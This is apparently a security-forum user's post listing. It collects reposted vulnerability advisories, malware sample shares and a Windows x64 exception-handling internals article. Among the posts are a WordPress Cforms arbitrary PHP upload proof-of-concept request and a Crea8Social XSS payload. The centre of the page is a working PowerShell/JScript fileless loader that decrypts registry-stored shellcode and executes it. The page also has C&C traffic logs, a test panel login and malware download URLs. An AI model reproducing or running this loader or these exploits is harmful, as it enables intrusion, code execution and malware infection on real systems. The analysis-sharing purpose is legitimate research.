Aerosol
-
Posts
3453 -
Joined
-
Last visited
-
Days Won
22
Posts posted by Aerosol
-
-
Advisory: Remote Code Execution via Unauthorised File upload in Cforms 14.7
Advisory ID: -
Author: Zakhar Fedotkin
Affected Software: Wordpress Plugin Cforms II 14.x-14.7 (Release: 12th Nov 2014)
Vendor URL: https://wordpress.org/plugins/cforms2/
Vendor Status: fixed
CVE-ID: -
==========================
Vulnerability Description:
==========================
The Cforms 14.7 and before are vulnerable to unauthorised user file upload. It's affected contact forms thats was created without file upload box. File lib_nonajax.php accept files with all extensions, that could lead to remote code execution
==================
Technical Details:
==================
POC:
Request to the valid contact form looks like:
POST /wordpress/ HTTP/1.1
..
Connection: keep-alive
Content-Type: multipart/form-data; boundary=---------------------------13530703071348311666826727318
Content-Length: 1747
-----------------------------13530703071348311666826727318
Content-Disposition: form-data; name="cf2_field_1"
-----------------------------13530703071348311666826727318
Content-Disposition: form-data; name="cf2_field_2"
test
-----------------------------13530703071348311666826727318
Content-Disposition: form-data; name="cf2_field_3"
test@test.com
-----------------------------13530703071348311666826727318
Content-Disposition: form-data; name="cf2_field_4"
http://
-----------------------------13530703071348311666826727318
Content-Disposition: form-data; name="cf_uploadfile2[]"; filename="up.php"
Content-Type: text/php
<? phpinfo(); ?>
-----------------------------13530703071348311666826727318
Content-Disposition: form-data; name="cf_working2"
<span>One%20moment%20please...</span>
-----------------------------13530703071348311666826727318
Content-Disposition: form-data; name="cf_failure2"
<span>Please%20fill%20in%20all%20the%20required%20fields.</span>
-----------------------------13530703071348311666826727318
Content-Disposition: form-data; name="cf_codeerr2"
<span>Please%20double-check%20your%20verification%20code.</span>
-----------------------------13530703071348311666826727318
Content-Disposition: form-data; name="cf_customerr2"
yyy
-----------------------------13530703071348311666826727318
Content-Disposition: form-data; name="cf_popup2"
nn
-----------------------------13530703071348311666826727318
Content-Disposition: form-data; name="sendbutton2"
1
-----------------------------13530703071348311666826727318--
The error is in lib_nonajax.php and default settings lib_nonajax.php allow to upload files to the default directory for versions below 14..6.3 it is cfroms plugin home directory. For version 14.6.3 and after it is wordpress upload directory. Default settings for contact form without upload field is None, so it's possible to upload *.php file.
=========
Solution:
=========
Update to the latest version
====================
Disclosure Timeline:
====================
15-Dec-2014 ? found the vulnerability
22-Dec-2014 - informed the developers
23-Dec-2014 - response by vendor
27-Dec-2014 ? fix by vendor
29-Dec-2014 - release date of this security advisory
29-Dec-2014 - post on Bugtraq
========
Credits:
========
Vulnerability found and advisory written by Zakhar Fedotkin.
===========
References:
===========
https://wordpress.org/plugins/cforms2/
http://infosec.ru -
# Exploit Title: Crea8Social v.2.0 XSS Change Interface
# Google Dork: intext:Copyright © 2014 CreA8social.
# Date: January 3, 2015
# Exploit Author: r0seMary
# Vendor Homepage: http://crea8social.com
# Software Link: http://codecanyon.net/item/crea8social-php-social-networking-platform-v20/9211270 or http://crea8social.com
# Version: v.2.0 (Latest version)
# Tested on: Windows 7
# CVE : -
================================================================================
Bismillahirahmanirahim
Assalamualaikum Wr.Wb
--[Fatal Xss Vulnerability]--
1. Register on the site
2. Go to Menu, Click Game
3. Add Game
4. At Game Content, enter your xss code. for example:
<script>document.body.innerHTML="your text here"</script><noscript>
look at the result, the user interface change into your xss code
Proof of Concept:
http://104.131.164.9/demo/games/124 (Crea8Social Official Site)
./r0seMary
Wassalamualaikum.wr.wb -
In my last post, you may remember how the latest Uroburos rootkit was able to disarm Patchguard on Windows 7. I was recently looking into how Patchguard is implemented in Windows 8.1 and decided to dig into Exception Handling on x64. As a matter of fact, all the new 64-bit Windows operating systems have entirely changed the way they manage error conditions from their state in older 32-bit versions of Windows (C++ exceptions and OS Structured Exception handling). There are a lot of papers available on 64-bit Windows exception handling on the web, but I decided to increase my knowledge on this topic with the goal to understand how it is implemented and to correctly characterize some strange behavior associated with the implementation of Patchguard on Windows 8.1.
Here are some interesting articles that can be found online:
Exceptional Behavior - x64 Structured Exception Handling - OSR Online. The NT Insider, Vol 13, Issue 3, 23 June 2006.
Skape, Improving Automated Analysis of Windows x64 Binaries - Uninformed, June 2006. A great article from Matt Miller
Johnson, Ken. "Programming against the x64 exception handling support." - Nynaeve. N.p., 5 Feb. 2007. A very good serie of articles that deals with Windows Vista x64 SEH implementation written by Ken Johnson (Skywing)
I strongly recommend that all the readers check out these 3 papers. I won't be rehashing any of the work there.
I will also assume that the reader already knows how Windows Structured Exception Handling and C++ exceptions handling can be exploited to manage errors conditions. If not, I personally recommend the following book that explains very well how this is done:
Richter, Jeffrey, and Christophe Nasarre. Windows via C/C++. Redmond, WA: Microsoft, 2007
Quick introduction
As the 3 articles mentioned above explain, x64 exception handling is not stack-based. Therefore, a lot of Structured Exception Handling (SEH) attacks have became ineffective against 64 bit binaries. 64-bit Windows Portable Executables (PE) have what is called the "Exception Directory data directory". This directory implements the 64-bit version of exception handling. It’s the compiler’s duty to add the relative RUNTIME_FUNCTION structure in the exception directory for each chunk of code directly or indirectly
involved with exception handling. Here's what this structure looks like:
typedef struct _RUNTIME_FUNCTION {
DWORD BeginAddress; // Start RVA of SEH code chunk
DWORD EndAddress; // End RVA of SEH code chunk
DWORD UnwindData; // Rva of an UNWIND_INFO structure that describes this code frame
} RUNTIME_FUNCTION, *PRUNTIME_FUNCTION;Each runtime function points to an UNWIND_INFO structure that describes one of the most important feature of Windows error handling: the Frame Unwind. Before I describe what frame unwinding is, let’s take a look at the key structures related to the stack unwind (the “UnwindData” member of the RUNTIME_FUNCTION structure points to a UNWIND_INFO):
// Unwind info flags
#define UNW_FLAG_EHANDLER 0x01
#define UNW_FLAG_UHANDLER 0x02
#define UNW_FLAG_CHAININFO 0x04
// UNWIND_CODE 3 bytes structure
typedef union _UNWIND_CODE {
struct {
UBYTE CodeOffset;
UBYTE UnwindOp : 4;
UBYTE OpInfo : 4;
};
USHORT FrameOffset;
} UNWIND_CODE, *PUNWIND_CODE;
typedef struct _UNWIND_INFO {
UBYTE Version : 3; // + 0x00 - Unwind info structure version
UBYTE Flags : 5; // + 0x00 - Flags (see above)
UBYTE SizeOfProlog; // + 0x01
UBYTE CountOfCodes; // + 0x02 - Count of unwind codes
UBYTE FrameRegister : 4; // + 0x03
UBYTE FrameOffset : 4; // + 0x03
UNWIND_CODE UnwindCode[1]; // + 0x04 - Unwind code array
UNWIND_CODE MoreUnwindCode[((CountOfCodes + 1) & ~1) - 1];
union {
OPTIONAL ULONG ExceptionHandler; // Exception handler routine
OPTIONAL ULONG FunctionEntry;
};
OPTIONAL ULONG ExceptionData[]; // C++ Scope table structure
} UNWIND_INFO, *PUNWIND_INFO;The compiler produces a RUNTIME_FUNCTION structure (and the related unwind info data) for almost all procedures directly or indirectly related with SEH (or C++ exceptions). The only exception, as outlined in "Programming against the x64 exception handling support.", is for the leaf functions: these functions are not enclosed in any SEH blocks, don’t call other subfunctions and make no direct modifications to the stack pointer (this is very important).
Let’s assume that a parent function surrounded by a __try __except block calls another function from its __try code block. When an exception occurs in the unprotected sub function, a stack unwinding occurs. The Windows kernel MUST indeed be able to restore the original context and find the value of the RIP register (instruction pointer) from before the call to the sub function had occurred (or a call to a function that subsequently jumps to the leaf function). This procedure of unwinding the stack is called Frame Unwind. The result of Frame Unwind is that the state of the key registers, including the stack, are restored to the same state as before the call to the exception-causing function. This way, Windows can securely detect if an exception handler (or terminator handle) is present, and subsequently call it if needed. The frame unwind process is the key feature of the entire error management. The unwind process is managed in the Windows kernel and can be used even in other ways (take a look at RtlVirtualUnwind kernel function, which is highlighted in Programming against the x64 exception handling support).
Exception Handling implementation - Some internals
The Skywing articles (mentioned at the beginning of the paper - Programming against the x64 exception handling support) cover the nitty gritty details of the internals of stack unwind in the 64-bit version of Windows Vista. The current implementation of unwind in Windows 8.1 is a bit different but the key concepts remain the same. Let's take a look at exception handling.
The internal Windows function RtlDispatchException is called whenever an exception occur. This function is implemented in the NTDLL module for user mode exceptions, and in the NTOSKRNL module for kernel mode exceptions, although in a slightly different manner. The function begins its execution by performing some initial checks: if a user-mode “vectored” exception handler is present, it will be called; otherwise standard SEH processing takes place. The thread context at the time of exception is copied and the RtlLookupFunctionEntry procedure is exploited to perform an important task: to get the target Image base address and a Runtime Function structure starting with a RIP value, that usually points to the instruction that has raised the exception.
Another structure is used: the Exception History Table. This is, as the name implies, a table used by the Windows kernel to speed up the lookup process of the runtime function structure. It is not of particular interest, but for the sake of completeness, here's its definition:
#define UNWIND_HISTORY_TABLE_SIZE 12
typedef struct _UNWIND_HISTORY_TABLE_ENTRY {
ULONG64 ImageBase;
PRUNTIME_FUNCTION FunctionEntry;
} UNWIND_HISTORY_TABLE_ENTRY, *PUNWIND_HISTORY_TABLE_ENTRY;
typedef struct _UNWIND_HISTORY_TABLE {
ULONG Count; // + 0x00
USHORT Search; // + 0x04
USHORT bHasHistory; // + 0x06
ULONG64 LowAddress; // + 0x08
ULONG64 HighAddress; // + 0x10
UNWIND_HISTORY_TABLE_ENTRY
Entries[UNWIND_HISTORY_TABLE_SIZE];
} UNWIND_HISTORY_TABLE, *PUNWIND_HISTORY_TABLE;If no runtime function is found, the process is repeated using the saved stack frame pointer (RSP) as RIP. Indeed in this case, the exception is raised in a leaf function. If the stack frame pointer is outside its limit (as in the rare case when a non-leaf function does not have a linked RUNTIME_FUNCTION structure associated with it), the condition is detected and the process exits.
Otherwise, if the RUNTIME_FUNCTION structure is found, the code calls the RtlVirtualUnwind procedure to perform the virtual unwind. This function is the key of exception dispatching: starting with the Image base, the RIP register value, the saved context and a RUNTIME_FUNCTION structure, it unwinds the stack to search for the requested handler (exception handler, unwind handler or chained info) and returns a pointer to the handler function and the correct stack frame. Furthermore, it returns a pointer to something called the “HandlerData”. This pointer is actually the SCOPE TABLE structure, used for managing C++ exceptions. This kind of stack unwind is virtual because no unwind handler or exception handler is actually called in the entire process: the stack unwind process is actually stopped only when a suitable requested handler is found.
With all the data available, the NT kernel code now builds the DISPATCHER_CONTEXT structure and exploits RtlpExecuteHandlerForException to perform the transition to the language handler routine (_C_specific_handler in the case of SEH and C++ exceptions). It is now the duty of the language handler routine to correctly manage the exception.
// Call Language specific exception handler.
// Possible returned values:
// ExceptionContinueExecution (0) - Execution must continue over saved RIP
// ExceptionContinueSearch - The language specific dispatcher has not found any handler
// ExceptionNestedException - A nested exception is raised
// ExceptionCollidedUnwind - Collided unwind returned code (see below)
// NO Return - A correct handler has processed exception
EXCEPTION_DISPOSITION RtlpExecuteHandlerForException(EXCEPTION_RECORD *pExceptionRecord, ULONG64 *pEstablisherFrame, CONTEXT *pExcContext, DISPATCHER_CONTEXT *pDispatcherContext);he implementation of RtlDispatchException in kernel mode is quite the same, with 3 notable exceptions:
No Vectored exception handling in kernel mode
A lot of further checks are done, like data alignment and buffer type checks
RtlVirtualUnwind is not employed (except for collided unwinds), but an inlined unwind code is exploited (that relies on the internal procedures RtlpUnwindOpSlots and RtlpUnwindEpilogue)
SEH and C++ Language specific Handler
The standard SEH and C++ exception handler is implemented in the _C_specific_handler routine. This routine is, like the RtlDispatchException, implemented either in user mode or in the kernel.
It starts by checking if it was called due to a normal or collided unwind (we will see what a collided unwind is later on). If this is not the case, it retrieves the Scope Table, and starts cycling between all of the entries in table: if the exception memory address is located inside a C++ scope entry segment, and if the target member of the scope table is not zero, the exception will be managed by this entry. The handler member of the scope entry points to an exception filter block. If the pointer is not valid, and the struct member is 1, it means that the exception handler has to be always called. Otherwise the exception filter is called directly:
DWORD ExceptionFilter(PEXCEPTION_POINTERS pExceptionPointers, LPVOID EstablisherFrame);
The filter can return one of these three possible dispositions:
EXCEPTION_CONTINUE_EXECUTION - The C specific handler exits with the value ExceptionContinueExecution; code execution is then resumed at the point where the exception occurred (the context is restored by the internal routine RtlRestoreContext)
EXCEPTION_CONTINUE_SEARCH - The C specific handler ignores this Scope item and continues the search in the next Scope table entry
EXCEPTION_EXECUTE_HANDLER - The exception will be managed by the _C_specific_handler code
If the filter returns the code EXCEPTION_EXECUTE_HANDLER, the C specific handler prepares all the data needed to execute the relative exception handler and finally calls the routine RtlUnwindEx. This function unwinds the stack and calls all the eventual intermediate __finally handlers, and the proper C exception handler. The routine is called by the C-specific handler in a particular way: the target C++ exception handler pointer is passed in the “TargetIp” parameter, while the original exception pointer is located in the exception record structure. This is a very important fact, as this way all the eventual intermediate terminator handlers are called. If the C-specific handler had call the specific exception handler directly, all the intermediate __finally handlers would have been lost, and the collided unwinds (a particular unwind case) would have been impossible to manage. RtlUnwindEx doesn’t return to the caller if it’s able to identify the real exception handler.
Here we provide all the data structures related to the Scope table:
// C Scope table entry
typedef struct _C_SCOPE_TABLE_ENTRY {
ULONG Begin; // +0x00 - Begin of guarded code block
ULONG End; // +0x04 - End of target code block
ULONG Handler; // +0x08 - Exception filter function (or “__finally” handler)
ULONG Target; // +0x0C - Exception handler pointer (the code inside __except block)
} C_SCOPE_TABLE_ENTRY, *PC_SCOPE_TABLE_ENTRY;
// C Scope table
typedef struct _C_SCOPE_TABLE {
ULONG NumEntries; // +0x00 - Number of entries
C_SCOPE_TABLE_ENTRY Table[1]; // +0x04 - Scope table array
} C_SCOPE_TABLE, *PC_SCOPE_TABLE;The important thing to note is that if there is a valid handler routine in the Scope Table entry but the target pointer is NULL, it means that the related target code is enclosed by a "finally" block (and only managed by the unwinding process). In this case the handler member points to the code located in the finally block.
Particular cases
Frame Consolidation Unwinds
As outlined in "Programming against the x64 exception handling support", this is a special form of unwind that is indicated to RtlUnwindEx with a special exception code, STATUS_UNWIND_CONSOLIDATE. This exception code slightly changes the behavior of RtlUnwindEx; it suppresses the behavior of substituting the TargetIp argument to RtlUnwindEx with the Rip value of the unwound context (as already seen in the C-specific handler routine). Furthermore, there is special logic contained within RtlRestoreContext (used by RtlUnwindEx to realize the final, unwound execution context) that detects the consolidation unwind case, and enables a special code path that treats the ExceptionInformation member of ExceptionRecord structure as a callback function, and calls it.
Essentially, consolidation unwinds can be thought of as a normal unwind, with a conditionally assigned TargetIp whose value is not determined until after all unwind handlers have been called, and the specified context has been unwound. This special form of unwind is in often used in C++ exceptions.
Collided unwinds
A collided unwind, as the name imply, occurs when an unwind handler routine initiates a secondary unwind operation. An unwind handler could be for example a SEH terminator handle (routine that implements the __finally block). A collided unwind is what occurs when, in the process of stack unwind, one of the call frames changes the target of an unwind. This definition is taken from "Programming against the x64 exception handling support", and I found quite difficult to understand at the first sight. Let’s see an example:
int _tmain(int argc, _TCHAR* argv[])
{
// Let's test normal unwind and collided unwind
TestUnwinds();
return 0;
}
// Test unwind and Collided Unwinds
BOOLEAN TestUnwinds() {
BOOLEAN retVal = FALSE; // Returned value
DWORD excCode = 0; // Exception code
// Test unwind and Collided Unwinds
__try {
// Call a function with an enclosed finally block
retVal = TestFinallyFunc();
} __except( // Filter routine
excCode = GetExceptionCode(), EXCEPTION_EXECUTE_HANDLER
) {
wprintf(L"Exception 0x%08X in TestUnwinds.\r\n "
L"\tThis message is not shown in a Collided Unwind.\r\n", excCode);
}
wprintf(L"TestUnwinds func exiting...\r\n");
return retVal;
}
// Test unwind and Collided Unwinds
BOOLEAN TestFinallyFunc() {
LPBYTE buff = NULL;
BOOLEAN retVal = FALSE;
BOOLEAN bPerformCollided = 0; // Let’s set this to 1 afterwards
buff = (LPBYTE)VirtualAlloc(NULL, 4096, MEM_COMMIT, PAGE_READWRITE);
do {
__try {
// Call Faulting subfunc with a bad buffer address
retVal = FaultingSubfunc1(buff + 3590);
// Produces CALL _local_unwind assembler code
if (!retVal) return FALSE; // <-- 1. Perform a regular unwind
// Produces JMP $LN17 label (finally block inside this function)
//if (!retVal) __leave;
} __finally {
if (!_abnormal_termination())
wprintf(L"Finally handler for TestFinallyFunc: Great termination!\r\n");
else
wprintf(L"Finally handler for TestFinallyFunc: Abnormal termination!\r\n");
if (buff) VirtualFree(buff, 0, MEM_RELEASE);
if (bPerformCollided) { // ? 2. Perform COLLIDED Unwind
// Here we go; first example of COLLIDED unwind
goto Collided;
// Second example of a collided unwind
break;
// Other example of collided unwind:
return FALSE;
}
}
Sleep(5000);
} while (!retVal);
return TRUE;collided:
wprintf(L"Collided unwind: \"Collided\" exit label.\r\n");
return 0;
// Std_Exit:
}The example shows some concepts explained in this analysis. TestUnwinds is the main routine that implements a structured exception handler. For this routine, a related RUNTIME_FUNCTION structure, followed by a C_SCOPE_TABLE, is generated by the compiler. The scope table entry contains either an handler, and a target valid pointers. The protected code block transfers execution to the TestFinallyFunc procedure. The latter shows how a normal unwind works: when FaultingSubfunc1 raises an exception, a normal stack unwind takes place: the stack is unwound and the first __finally block is reached. Keep in mind that in this case only the code in the __finally block is executed (the line with the “Sleep” call is never reached), then the stack frame unwind goes ahead till the __except block (exception handler) of the main TestUnwinds procedure. This is the normal unwind process. A normal unwind process can even be manually initiated, forcing the exit from a try block: the “return FALSE;“ line in the __try block is roughly translated by the compiler to the following:
mov byte ptr [bAutoRetVal], 0
lea rdx, $LN21
mov rcx,qword ptr [pCurRspValue]
call _local_unwind
$LN21:
mov al, byte ptr [bAutoRetVal]
goto Std_ExitThe compiler uses the _local_unwind function to start the stack unwind. The _local_unwind function is only a wrapper to the internal routine RtlUnwindEx, called with only the first 2 parameters: TargetFrame is set to the current RSP value after the function prolog; TargetIp is set to the exit code chunk pointer as highlighted above... This starts a local unwind that transfers execution to the __finally block and then returns to the caller. The stack unwind process is quite an expensive operation. This is why Microsoft encourages the use of the “__leave” keyword to exit from a protected code block. The “__leave” keyword is actually translated by the compiler as a much faster “jmp FINALLY_BLOCK” opcode (no stack unwind).
Now let’s test what happens when a bPerformCollided variable is set to 1….
In the latter case, FaultingSubfunc1 has already launched a stack unwind (due to an exception) that has reached the inner __finally block. The three examples of collided unwind code lines generate quite the same assembler code like the manually initialized normal stack unwind (but with a different TargetIp pointer). What happens now? A stack unwind process begins from an already started unwind context. As result, the RtlpUnwindHandler internal Nt routine (the handler associated with RtlpExecuteHandlerForUnwind) manages this case. It restores the original DISPATCHER_CONTEXT structure (except the TargetIp pointer) and returns ExceptionCollidedUnwind constant to the caller (the second call to RtlUnwindEx). We don’t cover the nitty gritty implementation details here, but we encourage the reader to check the Skywing articles (http://www.nynaeve.net/?p=113).
A side effect of the Collided unwinds in the SEH implementation is that we lose the parent function exception handler: the code flow is diverted and the compiler informs the developer with the C4532 warning message. The message located in the TestUnwinds exception handler routine of our example is indeed never executed when a collided unwind occurs.
Conclusion
In this blog post we took a hard look at the implementation of the Windows 8.1 64-bit Structured Exception handling. We even analysed one of the most important concepts related to SEH: the stack unwind process, and two of its particular cases. The implementation of the last case, the so called “Collided unwind”, is very important for the Windows 8.1 Kernel, because the Kernel Patch Protection feature uses it heavily, rendering its analysis much more complicated.
In the next blog post we will talk about how Patchguard is implemented in Windows 8.1. I'll also go over how the Uroburos rootkit defeated Patchguard in Windows 7 and how those techniques no longer work on Windows 8.1. Stay tuned!
-
1
-
-
Hi,
found a new trojan which call itself fileless. It injects RC4 encrypted code into explorer.exe, hooks NtQueryDirectoryFile with HLT-hook for hiding, uses (base64-decoded) Powershell stored in regedit and it's encrypted with RC4 and random key. Uses same technique as Poweliks for startup in regedit. AV-detection is very bad:
Test Panel: http://phasesupport.com/phase/login.php - Phase:Phase
Powershell script:
$sRegistryKey = 'HKCU:\Software\Microsoft\Active Setup\Installed Components\{72507C54-3577-4830-815B-310007F6135A}';
[Byte[]]$bKey = [System.Text.Encoding]::ASCII.GetBytes("Phase");
$sCode = @"
[DllImport("kernel32.dll")]
public static extern IntPtr CreateThread(IntPtr lpThreadAttributes, uint dwStackSize, Byte[] lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId);
[DllImport("kernel32.dll")]
public static extern bool VirtualProtect(Byte[] lpAddress, uint dwSize, uint flNewProtect, [Out] IntPtr lpflOldProtect);
[DllImport("kernel32.dll")]
public static extern uint WaitForSingleObject(IntPtr hHandle, int dwMilliseconds);
"@
$pFunctions = Add-Type -memberDefinition $sCode -Name "Win32" -namespace Win32Functions -passthru
[Byte[]]$bShellCode;
if ([IntPtr]::Size -eq 8) {
# Load Encrypted x64 Shellcode From Registry
$bShellCode = (Get-ItemProperty -Path $sRegistryKey -Name Rc4Encoded64).Rc4Encoded64;
}else{
# Load Encrypted x86 Shellcode From Registry
$bShellCode = (Get-ItemProperty -Path $sRegistryKey -Name Rc4Encoded32).Rc4Encoded32;
}
[Byte[]]$s = New-Object Byte[] 256;
[Byte[]]$k = New-Object Byte[] 256;
for ($i = 0; $i -lt 256; $i++){
$s[$i] = [Byte]$i;
$k[$i] = $bKey[$i % $bKey.Length];
}
$j = 0;
for ($i = 0; $i -lt 256; $i++){
$j = ($j + $s[$i] + $k[$i]) % 256;
$s[$i] = $s[$j];
$s[$j] = $bSwap;
}
$i = 0;
$j = 0;
for ($x = 0; $x -lt $bShellCode.Length; $x++){
$i = ($i + 1) % 256;
$j = ($j + $s[$i]) % 256;
$bSwap = $s[$i];
$s[$i] = $s[$j];
$s[$j] = $bSwap;
[int]$t = ($s[$i] + $s[$j]) % 256;
$bShellCode[$x] = $bShellCode[$x] -bxor $s[$t];
}
$dwSize = $bShellCode.Length;
if ($dwSize -gt 0x00000000){
[Int[]]$dwOldProt = 0x00000000;
$pdwOldProt = [System.Runtime.InteropServices.Marshal]::UnsafeAddrOfPinnedArrayElement($dwOldProt,0)
if ($pFunctions::VirtualProtect($bShellCode, $dwSize, 0x40, $pdwOldProt)){
$hThread = $pFunctions::CreateThread(0, 0, $bShellCode, 0, 0, 0);
$pFunctions::WaitForSingleObject($hThread, -1);
}
}
WSShell = new ActiveXObject("WScript.Shell"); sWindows = oWSShell.ExpandEnvironmentStrings("%windir%"); sPowerShell = sWindows + "\\system32\\windowspowershell\\v1.0\\powershell.exe"; oFile = new ActiveXObject("Scripting.FileSystemObject"); if (oFile.FileExists(sPowerShell)){ (oWSShell.Environment("Process"))("LoadShellCodeScript") = "iex ([Text.Encoding]::ASCII.GetString([Convert]::FromBase64String('" + sPowerShellScript + "')))"; oWSShell.Run(sPowerShell + " iex $env:LoadShellCodeScript", 0, 1);}pass: infected
-
Undefined Zeus Variant. Attached.
It's being pushed in ES and JP by the group that was using Blackhole then Nuclear to push Citadel then Kins and focusing on JP (Mainly) and DE sometimes.
(they got some attention after TrendMicro post here
Featured many times here, for instance :
http://www.kernelmode.info/forum/viewtopic.php?f=16&t=1465&start=80#p21178
)
[[Edit : After Discussion with Horgh...some of those C&C call could be result from Second stage...and attached sample being Andromeda
Working on grabbing that 2nd Stage.
]]
C&C call (bypassing proxy, which is not the case with Kins):
11/29/2014-06:08:36.922258 bruonlinearchive.com [**] / [**] Mozilla/6.0 (compatible; MSIE 8.0; Windows NT 6.2; SV1) [**] <no referer> [**] POST [**] HTTP/1.1 [**] 200 [**] 119456 bytes [**] [Remove]:1038 -> 62.76.189.99:80
11/29/2014-06:08:41.012229 bruonlinearchive.com [**] /www/ [**] Mozilla/6.2 (compatible; MSIE 8.0; Windows NT 6.2; SV1) [**] <no referer> [**] POST [**] HTTP/1.1 [**] 200 [**] 115088 bytes [**] [Remove]:1044 -> 62.76.189.99:80
11/29/2014-06:08:43.910800 bruonlinearchive.com [**] /www/ [**] Mozilla/6.2 (compatible; MSIE 8.0; Windows NT 6.2; SV1) [**] <no referer> [**] POST [**] HTTP/1.1 [**] 200 [**] 126184 bytes [**] [Remove]:1044 -> 62.76.189.99:80
11/29/2014-06:08:45.351476 bruonlinearchive.com [**] /www/ [**] Mozilla/6.2 (compatible; MSIE 8.0; Windows NT 6.2; SV1) [**] <no referer> [**] POST [**] HTTP/1.1 [**] 200 [**] 944 bytes [**] [Remove]:1044 -> 62.76.189.99:80
11/29/2014-06:08:48.655992 bruonlinearchive.com [**] /www/ [**] Mozilla/7.1 (compatible; MSIE 8.0; Windows NT 6.2; SV1) [**] <no referer> [**] POST [**] HTTP/1.1 [**] 200 [**] 140765 bytes [**] [Remove]:1044 -> 62.76.189.99:80
11/29/2014-06:08:49.754737 bruonlinearchive.com [**] /www/ [**] Mozilla/7.1 (compatible; MSIE 8.0; Windows NT 6.2; SV1) [**] <no referer> [**] POST [**] HTTP/1.1 [**] 200 [**] 37097 bytes [**] [Remove]:1044 -> 62.76.189.99:80
11/29/2014-06:08:50.757641 bruonlinearchive.com [**] /www/ [**] Mozilla/7.1 (compatible; MSIE 8.0; Windows NT 6.2; SV1) [**] <no referer> [**] POST [**] HTTP/1.1 [**] 200 [**] 3840 bytes [**] [Remove]:1044 -> 62.76.189.99:80
11/29/2014-06:08:51.760878 bruonlinearchive.com [**] /www/ [**] Mozilla/7.1 (compatible; MSIE 8.0; Windows NT 6.2; SV1) [**] <no referer> [**] POST [**] HTTP/1.1 [**] 200 [**] 3664 bytes [**] [Remove]:1044 -> 62.76.189.99:80
11/29/2014-06:09:14.894118 www.google.com [**] /webhp [**] Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727) [**] <no referer> [**] GET [**] HTTP/1.1 [**] 302 => http://www.google.is/webhp?gws_rd=cr&ei=abd5VOnXFsXYywOQ_4GYCg [**] 263 bytes [**] [Remove]:1059 -> 74.125.230.144:80
11/29/2014-06:09:15.794963 www.google.is [**] /webhp?gws_rd=cr&ei=abd5VOnXFsXYywOQ_4GYCg [**] Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727) [**] <no referer> [**] GET [**] HTTP/1.1 [**] 302 => https://www.google.is/webhp?gws_rd=cr,ssl&ei=abd5VOnXFsXYywOQ_4GYCg [**] 268 bytes [**] [Remove]:1060 -> 74.125.230.151:80
11/29/2014-06:09:18.198447 fastnestfestival.com [**] /www/ [**] Mozilla/7.1 (compatible; MSIE 8.0; Windows NT 6.2; SV1) [**] <no referer> [**] POST [**] HTTP/1.1 [**] 200 [**] 96 bytes [**] [Remove]:1065 -> 62.76.189.99:80
11/29/2014-06:09:19.270556 bruonlinearchive.com [**] /www/ [**] Mozilla/7.2 (compatible; MSIE 8.0; Windows NT 6.2; SV1) [**] <no referer> [**] POST [**] HTTP/1.1 [**] 200 [**] 9417 bytes [**] [Remove]:1044 -> 62.76.189.99:80
11/29/2014-06:09:20.602042 fastnestfestival.com [**] /www/ [**] Mozilla/7.2 (compatible; MSIE 8.0; Windows NT 6.2; SV1) [**] <no referer> [**] POST [**] HTTP/1.1 [**] 200 [**] 80 bytes [**] [Remove]:1065 -> 62.76.189.99:80dcffde96291fe5fba261292106988810_ce276ab104b96389075f39d635aa29f0_undefined.zip
Pass: infected
-
Sample is courtesy kafeine blog.
http://malware.dontneedcoffee.com/2014/07/ctb-locker.html
Removed VB trash in partial unpack.
b3c92d7a9dead6011f3c99829c745c384dd776d88f57bbd60bc4f9d66641819b.7z
-
CF: http://www.virusradar.com/en/Win32_Bedep.A/description
http://malware.dontneedcoffee.com/2014/08/angler-ek-now-capable-of-fileless.html
and this :
Here are samples (sorry only one 64 bits....but is distributed in 64bits too).
Pass: infected
-
remark start
remark end
Windows Accelerator Pro
Network activities
http://zocrxiyds.freetzi.com/1.php
• dns: 1 ›› ip: 69.162.82.253 - adresse: ZOCRXIYDS.FREETZI.COM
http://c3913c6c.webantiviruslk.pl/index.html
• dns: 1 ›› ip: 109.236.86.172 - adresse: C3913C6C.WEBANTIVIRUSLK.PL
---
http://93.115.82.248/?0=1&1=1&2=9&3=i&4=2600&5=1&6=1111&7=obqrhutjgv
http://93.115.82.248/?0=1&1=1&2=9&3=p&4=2600&5=1&6=1111&7=obqrhutjgv
http://94.185.80.155/customgate2/?callback=jQuery17203112214965869417_1388599195453&name=Xylibox+Labs&email=xylitol%40malwareint.com&num=4111111111111111&cvv=147&year=2017&month=05&phone=3-478-856-54-05&address=123+winlocker+street&country=FRA&state=XX&zip=75000&option=0&support=false&id=1&sub_id=1&install_id=obqrhutjgv&project_id=9&serial=EWBWF-QYHBS-XGTGK-EH0A&_=1388599353015
http://94.185.80.155/customgate2/process/?callback=jQuery17203112214965869417_1388599195454&transaction_id=646959059412b4308a4c613844951708&_=1388599356453
http://94.185.80.155/customgate2/process/?callback=jQuery17203112214965869417_1388599195455&transaction_id=646959059412b4308a4c613844951708&_=1388599359469
http://94.185.80.155/customgate2/process/?callback=jQuery17203112214965869417_1388599195456&transaction_id=646959059412b4308a4c613844951708&_=1388599362469
http://94.185.80.155/customgate2/process/?callback=jQuery17203112214965869417_1388599195457&transaction_id=646959059412b4308a4c613844951708&_=1388599365469
http://94.185.80.155/customgate2/process/?callback=jQuery17203112214965869417_1388599195458&transaction_id=646959059412b4308a4c613844951708&_=1388599368469
http://93.115.82.248/?0=1&1=1&2=9&3=p&4=2600&5=1&6=1111&7=obqrhutjgvfakeav://payandsec.com/p/?group=sgp&nid=9A93E62D&affid=85700&lid=0040&ver=0040 https://www.virustotal.com/en/ip-address/178.162.199.33/information/
fakeav://sgpsupport.com/https://www.virustotal.com/en/ip-address/178.162.199.33/information/
https://www.virustotal.com/en/ip-address/185.12.116.45/information/
Pass: infected
-
Legacy BIOS MBR WinNT bootkit.
Purpose: kernel mode spambot.
MBR:
old December analyzed Pitou build: https://www.virustotal.com/en/file/269f35c31bbbc3d18dc055712d535b2ebd8efdc13863b9d4165b6b1878b251ba/analysis/
Current sample doesn't use 0xDEADBEEF as xor key and looks a little bit simplified.
Hooks IRP_MJ_DEVICE_CONTROL and IRP_MJ_INTERNAL_DEVICE_CONTROL for the disk port driver and several routines in NDIS driver by splicing.
Contain antiVM similar to Win32/Avatar lolkit -> MmMapIoSpace and lookup for known VM vendors/products names.
31.184.236.83/crypted.ff.exe
HTTP/1.1 200 OK
Date: Fri, 02 Jan 2015 0X:XX:XX GMT
